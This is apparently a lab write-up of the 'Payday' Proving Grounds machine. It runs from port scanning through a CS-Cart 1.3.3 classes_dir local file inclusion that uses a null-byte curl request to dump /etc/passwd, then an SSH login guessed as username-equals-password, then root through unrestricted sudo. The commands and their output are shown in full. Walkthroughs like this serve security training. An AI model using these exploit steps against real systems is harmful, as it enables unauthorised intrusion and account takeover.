Skip to content
HackIndex.io

Payday Writeup - Proving Grounds

Intermediate Linux
Discuss on Discord

Created October 8, 2026 • Last updated October 8, 2026 • 3 min read

The Husky Hacker

sysadmin

Payday runs an outdated CS-Cart 1.3.3 storefront whose classes_dir parameter is vulnerable to local file inclusion, used to leak /etc/passwd and find the user patrick, whose SSH password turns out to match their username. Patrick holds unrestricted sudo rights, which hands over a root shell immediately.

Reconnaissance

Nmap

Scan all ports, then grab versions on what is open.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- $TARGET_IP 
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
110/tcp open  pop3
139/tcp open  netbios-ssn
143/tcp open  imap
445/tcp open  microsoft-ds
993/tcp open  imaps
995/tcp open  pop3s
Explain command
-p- Scan all 65535 TCP ports.
┌──(kali㉿kali)-[~]
└─$ sudo nmap -A -sV -p 22,80,110,139,143,445,993,995 $TARGET_IP 
22/tcp  open  ssh         OpenSSH 4.6p1 Debian 5build1 (protocol 2.0)
80/tcp  open  http        Apache httpd 2.2.4 ((Ubuntu) PHP/5.2.3-1ubuntu6)
|_http-title: CS-Cart. Powerful PHP shopping cart software
110/tcp open  pop3        Dovecot pop3d
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: MSHOME)
143/tcp open  imap        Dovecot imapd
445/tcp open  netbios-ssn Samba smbd 3.0.26a (workgroup: MSHOME)
993/tcp open  ssl/imaps?
995/tcp open  ssl/pop3s?
Host script results:
| smb-os-discovery:
|   OS: Unix (Samba 3.0.26a)
|_  Computer name: payday
Explain command
-A Enable OS detection, version detection, script scanning and traceroute.

The web server on port 80 is the obvious target, an old PHP shopping cart. Looking up the product in Exploit-DB turns up a few candidates for CS-Cart.

Web enumeration

Fingerprint the application and fuzz for hidden paths.

┌──(kali㉿kali)-[~]
└─$ curl -s http://$TARGET_IP/ | head 
<title>CS-Cart. Powerful PHP shopping cart software</title>
<meta name="description" content="The powerful shopping cart software for web stores and e-commerce...">
┌──(kali㉿kali)-[~]
└─$ curl -s http://$TARGET_IP/install.php | grep -i version 
<p style="font-weight: bold; font-size: 11px;">Version:&nbsp;1.3.3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>
┌──(kali㉿kali)-[~]
└─$ dirb http://$TARGET_IP/ 
==> DIRECTORY: http://$TARGET_IP/classes/
+ http://$TARGET_IP/install (CODE:200|SIZE:7731)
+ http://$TARGET_IP/admin.php (CODE:200|SIZE:9471)
==> DIRECTORY: http://$TARGET_IP/skins/

CS-Cart 1.3.3 is vulnerable to a classes_dir local file inclusion (Exploit-DB 1872), and /classes/ confirms the app also bundles FCKeditor 2.2, itself a known source of file-upload bugs. The LFI is the more direct route.

Exploitation

CS-Cart classes_dir LFI

The classes_dir parameter in the PHPMailer wrapper is included without sanitization. A null byte stops PHP from appending .php, so it can be pointed straight at /etc/passwd.

┌──(kali㉿kali)-[~]
└─$ curl 'http://$TARGET_IP/classes/phpmailer/class.cs_phpmailer.php?classes_dir=/etc/passwd%00' 
root:x:0:0:root:/root:/bin/bash
<snip>
www-data:x:33:33:www-data:/var/www:/bin/sh
patrick:x:1000:1000:patrick,,,:/home/patrick:/bin/bash
<br />
<b>Fatal error</b>:  Class 'PHPMailer' not found

A direct remote file inclusion does not work here, but wrapping the path in a php://filter base64 read confirms allow_url_include is disabled, which rules out RFI and keeps the attack to local files only. The interesting find from the passwd dump is the user patrick.

SSH password guessing

Guess the simplest possible password for the discovered account: the username itself.

┌──(kali㉿kali)-[~]
└─$ ssh patrick@$TARGET_IP 
patrick@payday's password: patrick
Linux payday 2.6.22-14-server #1 SMP
patrick@payday:~$ id
uid=1000(patrick) gid=1000(patrick) groups=4(adm),20(dialout),24(cdrom),25(floppy),1000(patrick)

Shell as patrick. Hydra, Medusa and Ncrack all confirm the same username/password pair for anyone who prefers to automate the guess instead.

Privilege Escalation

Unrestricted sudo

Check what patrick can run as root.

┌──(kali㉿kali)-[~]
└─$ sudo -l 
User patrick may run the following commands on this host:
    (ALL) ALL
Explain command
-l List the commands the current user may run with sudo.
┌──(kali㉿kali)-[~]
└─$ sudo su 
root@payday:/home/patrick# id
uid=0(root) gid=0(root) groups=0(root)

Patrick may run any command as root, so sudo su is an instant root shell.

Related

Local File Inclusion Exploitation
Blog

Local File Inclusion Exploitation

Exploit LFI vulnerabilities to read sensitive files, achieve log poisoning, and escalate to RCE via...
Sudo Misconfiguration Privilege Escalation
Blog

Sudo Misconfiguration Privilege Escalation

Exploiting misconfigured sudo rules to escalate privileges on Linux systems, covering NOPASSWD entri...
File Upload Exploitation
Blog

File Upload Exploitation

Exploit insecure file upload endpoints to achieve RCE by bypassing extension filters, MIME validatio...

References